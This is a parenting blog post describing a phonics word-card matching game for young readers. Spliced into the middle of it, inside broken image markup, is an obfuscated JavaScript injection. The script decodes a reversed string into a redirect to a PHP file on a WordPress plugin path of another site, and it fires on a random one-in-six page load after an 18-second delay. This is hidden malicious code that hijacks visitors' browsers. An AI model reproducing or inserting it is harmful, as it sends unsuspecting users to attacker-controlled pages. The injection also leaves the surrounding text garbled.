Word Card Matching Phonics Game

It’s a stage that all kids go through: they are able to sound out the letters of words, but then they completely guess at what is the resulting word. C-A-T reads “pirate?” Oops. I believe that in order for our kids to want to face challenges, we have to present them with challenges in which they can be successful, especially when they are very young. A matching game is a great way to offer a this type of challenge for a budding reader.

$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to read with these phonics word cards! Match the word to the picture in a fun phonics game, bridging the gap from sounding out words and reading.” width=”650″ height=”975″ />

These cards are originally intended to match up with Book 1 of the Jolly Phonics Activity book series, so it assumes your child knows the sounds to letters S, A, T, I, P, and N. I highly recommend this phonics program, but the cards are useful to children who know these sounds regardless of where they learned them from.

These cards are not intended to replace the word list in the back of the book. I still recommend practicing words without an image to match. Obviously, that’s real reading, which is the goal! Your child might find it helpful, though, to start out with the words on these cards to practice first. That way they remember some of the potential words from their practice with matching the pictures, making that next step a bit easier, and again building situations where they can be successful, in sha Allah. Lastly, I recommend you only start with 4 card pairs at a time. With more practice, you can present more cards in a session.
